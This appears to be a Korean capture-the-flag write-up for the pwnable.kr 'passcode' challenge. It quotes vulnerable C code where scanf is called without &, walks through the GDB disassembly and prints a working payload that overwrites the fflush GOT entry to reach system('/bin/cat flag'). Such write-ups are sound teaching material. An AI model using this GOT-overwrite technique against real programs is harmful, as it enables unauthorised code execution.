# passcode - 10 pt

{% hint style="info" %}
Mommy told me to make a passcode based login system.\
My initial C code was compiled without any error!\
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)
{% endhint %}

파일 목록을 보았다.

```bash
passcode@pwnable:~$ ls
flag  passcode	passcode.c
```

`passcode.c`의 내용은 아래와 같다.

```c
passcode@pwnable:~$ cat passcode.c
#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;
}
```

10번째, 15번째 줄을 보면 `&`가 없어 `passcode1`이나 `passcode2`에 값이 저장되는 것이 아니라 `passcode1`과 `passcode2`를 주소로 한 곳에 저장된다.

`welcome()`을 GDB로 살펴보면 아래와 같다.

```bash
(gdb) disas welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:	push   %ebp
   0x0804860a <+1>:	mov    %esp,%ebp
   0x0804860c <+3>:	sub    $0x88,%esp
   0x08048612 <+9>:	mov    %gs:0x14,%eax
   0x08048618 <+15>:	mov    %eax,-0xc(%ebp)
   0x0804861b <+18>:	xor    %eax,%eax
   0x0804861d <+20>:	mov    $0x80487cb,%eax
   0x08048622 <+25>:	mov    %eax,(%esp)
   0x08048625 <+28>:	call   0x8048420 <printf@plt>
   0x0804862a <+33>:	mov    $0x80487dd,%eax
   0x0804862f <+38>:	lea    -0x70(%ebp),%edx
   0x08048632 <+41>:	mov    %edx,0x4(%esp)
   0x08048636 <+45>:	mov    %eax,(%esp)
   0x08048639 <+48>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:	mov    $0x80487e3,%eax
   0x08048643 <+58>:	lea    -0x70(%ebp),%edx
   0x08048646 <+61>:	mov    %edx,0x4(%esp)
   0x0804864a <+65>:	mov    %eax,(%esp)
   0x0804864d <+68>:	call   0x8048420 <printf@plt>
   0x08048652 <+73>:	mov    -0xc(%ebp),%eax
   0x08048655 <+76>:	xor    %gs:0x14,%eax
   0x0804865c <+83>:	je     0x8048663 <welcome+90>
   0x0804865e <+85>:	call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:	leave
   0x08048664 <+91>:	ret
End of assembler dump.
```

13번째 줄 `0x0804862f <+38>: lea -0x70(%ebp),%edx` 를 통해 `name`이 `[ebp - 0x70]`에 저장됨을 알 수 있다.

`login()`을 GDB로 살펴보면 아래와 같다.

```bash
(gdb) disas login
Dump of assembler code for function login:
   0x08048564 <+0>:	push   %ebp
   0x08048565 <+1>:	mov    %esp,%ebp
   0x08048567 <+3>:	sub    $0x28,%esp
   0x0804856a <+6>:	mov    $0x8048770,%eax
   0x0804856f <+11>:	mov    %eax,(%esp)
   0x08048572 <+14>:	call   0x8048420 <printf@plt>
   0x08048577 <+19>:	mov    $0x8048783,%eax
   0x0804857c <+24>:	mov    -0x10(%ebp),%edx
   0x0804857f <+27>:	mov    %edx,0x4(%esp)
   0x08048583 <+31>:	mov    %eax,(%esp)
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    0x804a02c,%eax
   0x08048590 <+44>:	mov    %eax,(%esp)
   0x08048593 <+47>:	call   0x8048430 <fflush@plt>
   0x08048598 <+52>:	mov    $0x8048786,%eax
   0x0804859d <+57>:	mov    %eax,(%esp)
   0x080485a0 <+60>:	call   0x8048420 <printf@plt>
   0x080485a5 <+65>:	mov    $0x8048783,%eax
   0x080485aa <+70>:	mov    -0xc(%ebp),%edx
   0x080485ad <+73>:	mov    %edx,0x4(%esp)
   0x080485b1 <+77>:	mov    %eax,(%esp)
   0x080485b4 <+80>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:	movl   $0x8048799,(%esp)
   0x080485c0 <+92>:	call   0x8048450 <puts@plt>
   0x080485c5 <+97>:	cmpl   $0x528e6,-0x10(%ebp)
   0x080485cc <+104>:	jne    0x80485f1 <login+141>
   0x080485ce <+106>:	cmpl   $0xcc07c9,-0xc(%ebp)
   0x080485d5 <+113>:	jne    0x80485f1 <login+141>
   0x080485d7 <+115>:	movl   $0x80487a5,(%esp)
   0x080485de <+122>:	call   0x8048450 <puts@plt>
   0x080485e3 <+127>:	movl   $0x80487af,(%esp)
   0x080485ea <+134>:	call   0x8048460 <system@plt>
   0x080485ef <+139>:	leave
   0x080485f0 <+140>:	ret
   0x080485f1 <+141>:	movl   $0x80487bd,(%esp)
   0x080485f8 <+148>:	call   0x8048450 <puts@plt>
   0x080485fd <+153>:	movl   $0x0,(%esp)
   0x08048604 <+160>:	call   0x8048480 <exit@plt>
End of assembler dump.
```

10번째 줄 `0x0804857c <+24>: mov -0x10(%ebp),%edx`을 통해 `passcode1`이 `[ebp - 0x10]`에 저장됨을 알 수 있다.

`[ebp - 0x10] - [ebp - 0x70] = 0x60 = 96`이므로 100보다 작기 때문에 4 byte 만큼 값을 덮어쓰는 것이 가능하다.

`passcode1` 에 `fflush@got`  주소를 넣고 `scanf`  입력으로 `system("/bin/cat flag")`  실행 주소를 넣으면 `scanf("%d", passcode1)`  실행 직후 `system("/bin/cat flag")` 이 실행된다.

즉, 아래와 같은 논리의 페이로드를 생각해볼 수 있다.

```
dummy(96) | &fflush@got | &system("/bin/cat flag")
```

아래와 같이 `fflush@got`  주소를 알아낸다.

```bash
(gdb) x/i 0x8048430
   0x8048430 <fflush@plt>:	jmp    *0x804a004
```

`fflush@got`  주소는 `0x804a004`이다.

`login()`을 disassemble 한 것의 33번째, 34번째 줄을 보면 아래와 같다.

```bash
   0x080485e3 <+127>:	movl   $0x80487af,(%esp)
   0x080485ea <+134>:	call   0x8048460 <system@plt>
```

`system("/bin/cat flag")` 의 실행 주소는 `0x080485e3`이다.

`scanf("%d", passcode1)` 의 표준 입력 형식이 `%d` 이므로 정수 값으로 넘겨주어야 한다.

`0x080485e3`는 decimal으로 `134514147`이다.

아래와 같이 입력해 플래그를 알아낸다.

```bash
passcode@pwnable:~$ python -c "print('A' * 96 + '\x04\xa0\x04\x08' + '134514147')" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
```

{% hint style="success" %}
Flag? : Sorry mom.. I got confused about scanf usage :(
{% endhint %}
